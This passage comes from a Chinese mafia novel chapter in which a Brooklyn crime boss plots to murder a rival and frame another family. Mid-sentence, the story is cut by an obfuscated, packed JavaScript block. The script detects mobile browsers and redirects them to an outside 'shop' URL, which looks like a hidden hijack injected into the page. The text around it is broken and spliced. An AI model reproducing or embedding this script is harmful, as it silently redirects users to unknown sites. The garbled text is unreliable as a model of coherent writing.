周二上午十点，布鲁克林本森赫斯特区，一家名为“安东尼奥咖啡馆”的意大利餐馆地下室。


    这里不对外营业，是文森佐·巴托里处理私密事务的场所。


    空气中弥漫着浓缩咖啡和雪茄的混合气味，墙壁上挂着老旧的那不勒斯风景画，一张厚重的橡木长桌占据了房间中央，周围坐着六个男人。


    除了文森佐，其余六人就是“安静的人”——他的核心团队。


    最左边是萨尔瓦托·“萨利”·孔特，五十八岁，秃顶，身材肥胖，负责甘比诺家族的财务和**网络。他穿着皱巴巴的衬衫，手指上沾着墨水渍，看起来像个普通的会计师，但文森佐知道，萨利至少亲手处理过十二具尸体。


    旁边是安东尼·“小托尼”·罗西，四十五岁，瘦削精悍，脸上有一道从眉骨延伸到下巴的狰狞刀疤，那是二十年前与卢西亚诺家族火并留下的纪念。他负责家族的“武力解决方案”——简单说，就是**和打手头目。


    然后是迈克尔·“米奇”·科斯塔，五十二岁，前码头工人，身材魁梧如熊，手掌厚实粗糙，负责码头工会的掌控和货运业务的日常运营。


    接着是文森佐的表弟，乔瓦尼·巴托里，五十五岁，沉默寡言，负责与警察、政客的“关系维护”。


    第五个是弗朗切斯科·“弗兰基”·德卢卡，四十九岁，家族的法律顾问，也是唯一上过大学的人，哥伦比亚法学院毕业，负责处理所有法律文件和“合法生意”的外壳。


    最后一个，也是年纪最轻的，是文森佐的侄子，马可·巴托里，三十七岁，聪明但冲动，负责新兴的**分销业务——尽管卡罗·甘比诺公开反对涉毒，但实际上每个家族都在做，只是做得更隐蔽。


    “多米尼克·科洛博必须死。”文森佐开门见山，将文件夹推给萨利，“这是我们等待已久的机会。”


    萨利迅速翻阅文件，眼睛越睁越大。其他人轮流查看，地下室里的气氛从疑惑逐渐转为震惊，最后变成狂热的兴奋。


    “这情报……太详细了。”小托尼喃喃道，手指划过仓库平面图，“守卫换班时间，每个人的习惯，甚至多米尼克检查货物时的路线……这是怎么弄到的？”


    “这不重要。”文森佐平静地说，“重要的是，这些情报是准确的。我们今晚就行动。”


    “卡罗知道吗？”乔瓦尼谨慎地问，他是最清楚家族**的人。


    文森佐冷笑一声：“卡罗老了，他还在梦想着‘荣誉’和‘传统’，梦想着把家族完全洗白。但他不明白，这个世界变了。科洛博家族已经在吞食我们的地盘，吉诺维斯家族在**上赚得盆满钵满，卢西亚诺家族控制着曼哈顿的心脏。如果我们再不动，甘比诺家族就会沦为二流势力，最终被吞并。”


    他顿了顿，目光扫过每个人：“杀了多米尼克，科洛博家族会陷入混乱。他们内部本来就不稳，老教父的儿子马可一直想**，多米尼克的副手们各自为政。混乱中，我们可以夺回被他们渗透的垃圾清运生意，甚至可以进一步，拿下他们在布鲁克林南部的几个码头。”


    “但这也意味着全面开战。”弗兰基提醒道，他是法律顾问，总是考虑风险。


    “不，这会是科洛博家族的‘内斗’。”文森佐指了指文件中的行动方案建议，“现场会留下马可·弗朗切斯科的私章，还有科洛博家族内部常用的武器。执法部门会认定这是家族内部权力斗争，而其他家族——包括我们自己——都会公开表示遗憾，私下里则忙着瓜分科洛博的地盘。”


    米奇·科斯塔摩挲着粗糙的下巴：“需要我们亲自动手吗？还是找外面的**？”


    “我亲自带队。”小托尼主动请缨，眼中闪烁着杀戮的兴奋，“多米尼克杀了我两个手下，去年在码头的那次冲突。我要亲手宰了那**的。”


    文森佐考虑了一下，摇摇头：“不，你不能去。你脸上的疤太明显，容易被认出来。我们需要的是完全无法追踪的人。”


    他的目光落在侄子马可身上：“你去，马可。带上‘影子’。”


    “影子”是文森佐暗中培养的一支行动队，一共四个人，都不是意大利裔，也没有任何公开的黑道背景。他们是文森佐从退伍军人、职业**中秘密招募的，只执行最敏感的任务，与甘比诺家族没有任何纸面联系。


    马可愣了一下，随即眼中燃起火焰。这是叔叔对他的信任，也是他证明自己的机会。


    “我需要多少人？”他问，声音因激动而微微颤抖。


    “两个就够了，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910617|176327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    加上你三个。”文森佐说，“根据情报，周三晚上八点到八点半之间，仓库只有多米尼克和两个守卫。八点十五分是换班间隙，有五分钟时间窗口。你们要在八点十分潜入，八点十五分动手，八点二十前撤离。”


    他从文件夹中抽出一张照片，推到桌子中央。照片上是一枚精致的银质私章，上面刻着科洛博家族的家徽——一只抓着**的乌鸦，下方有一个花体字母“M”。


    “这是马可·弗朗切斯科的私章复制品。”文森佐说，“现场要留下这个，但要留得‘自然’——比如，掉在尸体旁边，或者塞在多米尼克的口袋里。还有，用这把枪。”


    他推过去另一张照片，是一把**M92F**，枪身上有独特的雕刻花纹。


    “科洛博家族高级成员的标准配枪，序列号已经被处理过，无法追踪，但弹道特征会符合科洛博家族的武器库记录。”文森佐解释道，“**要用点45口径的，和科洛博家族处决叛徒时用的**同一批次。这些‘暗流’都提供了。”


    萨利吹了声口哨：“老天，这些人到底是什么来头？连**批次都能搞定？”


    “他们不是黑帮，也不是政府。”文森佐沉声说，“他们是某种……更强大的东西。而我们只需要知道，服从他们的命令就好。”


    “老大，更强大的是什么？”弗兰基有些不解地问，推了推鼻梁上的金丝眼镜。


    文森佐没有立刻回答，而是缓缓靠向椅背，点燃一支雪茄。烟雾在昏暗的地下室中升腾，让他的脸在光影中显得更加深邃。


    “弗兰基，你觉得米国到底是谁说了算？”文森佐反问，声音低沉。


    弗兰基想了想：“当然是总统了，全世界最有权势的人。”


    “总统？”萨利嗤笑一声，“总统四年一换，最多八年。可是那些真正掌控这个国家的人，几十年、上百年都站在那里。政客只是前台的演员。”


    小托尼插话：“那是大财团？摩根、洛克菲勒那些家族？”


    “接近了，但还不是全部。”文森佐吐出一口烟雾，“我在这个城市活了六十三年，见过五任市长，四任州长，三任总统。我见过黑帮家族兴起又衰落，见过警察局长上台又下台，见过法律修改又废除。但有些东西，从来不变。”


    他环视着桌边的每一个人：“你们知道眼睛会吗？”